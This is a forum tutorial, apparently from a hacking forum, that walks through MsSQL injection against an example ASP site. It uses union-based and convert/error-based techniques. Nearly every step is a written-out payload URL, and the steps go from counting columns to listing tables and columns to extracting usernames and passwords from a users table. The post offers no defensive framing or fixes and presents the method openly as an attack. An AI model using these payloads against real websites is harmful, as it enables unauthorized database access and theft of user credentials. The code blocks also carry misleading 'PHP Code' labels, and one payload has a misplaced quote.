Nov 19, 2014 10:57 AM
(This post was last modified: Dec 16, 2015 05:11 AM by -zERAiT.)
MsSQL Injection
In this tutorial we'll be going through 2 different MsSQL Injection.
- MsSQL - Union Attack
- MsSQL - Convert Attack
MsSQL - Union Attack
We'll be using the following website:
PHP Code
<?php
http://site.com/hello.asp?id=1
Getting the amount of columns
Let's try.
PHP Code
<?php
http://site.com/hello.asp?id=1 order by 5--
Website response
Quote:ADODB.Recordset Error '800a0bcd '
Either BOF or EOF is True, or the current record has been deleted requested operation requires a current record.
/ hello.asp, line 18
Now increase your column count.
PHP Code
<?php
http://site.com/hello.asp?id=1 order by 8--
Website response
Quote:Microsoft OLE DB Provider for ODBC Drivers Error '80040e14 '
[Microsoft] [ODBC SQL Server Driver] [SQL Server] The number of ORDER BY position 13 is outside the range of elements in the select list.
/ manager.asp, line 9
Now try column 7, cause 8 was out of range.
PHP Code
<?php
http://site.com/hello.asp?id=1 order by 7--
Website response
Quote:ADODB.Recordset Error '800a0bcd '
Either BOF or EOF is True, or the current record has been deleted requested operation requires a current record.
/ hello.asp, line 18
This means that the website has "7" columns.
Getting vulnerable column
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,2,3,4,5,6,7--
Getting the database
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,db_name(),3,4,5,6,7--
Getting tables from database
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,table_name,3,4,5,6,7 from information_schema.tables--
However, the contact table isn't interesting us, we want something similar as "Users", "Admins" etcetra, so we continue to search.
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_name not in ('contact')--
Getting columns from table
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'--
However we're searching for the username and password, so we continue.
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and column_name not in ('username')--
So now we have both "username" and "password" as columns.
Getting data from columns
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,username,3,4,5,6,7 from users--
PHP Code
<?php
http://site.com/hello.asp?id=1 union select 1,password,3,4,5,6,7 from users--
MsSQL - Convert Attack
Getting the database
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,db_name)--
Getting tables from database
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
However, this is not interesting so we continue to look others.
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('contact')))--
Getting columns from table
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--
However, we want another column which would provide us with the password.
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users+and+column_name+not+in+('username')))--
Now we have 2 column names, named "username" & "password".
Getting data from columns
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+username+from+users))--
PHP Code
<?php
http://site.com/hello.asp?id=1+and+1=convert(int,(select+top+1+password+from+users))--
You can read my other tutorials by clicking below.
- [Tutorial] Basic / Union based SQL Injection
- [Tutorial] String Based SQL Injection
- [Tutorial] MsSQL Injection
- [Tutorial] Web Application Firewall [WAF]
- [Tutorial] Server Side Include Injection [SSI Injection]
- [Tutorial] XPath Injection [ExtractValue]
- [Tutorial] Remote File Inclusion
- [Tutorial] Directory Traversal
Thats it for now, if you still have any questions related to MsSQL Injections then feel free to hit me up.
Thanks for viewing my thread.🤝

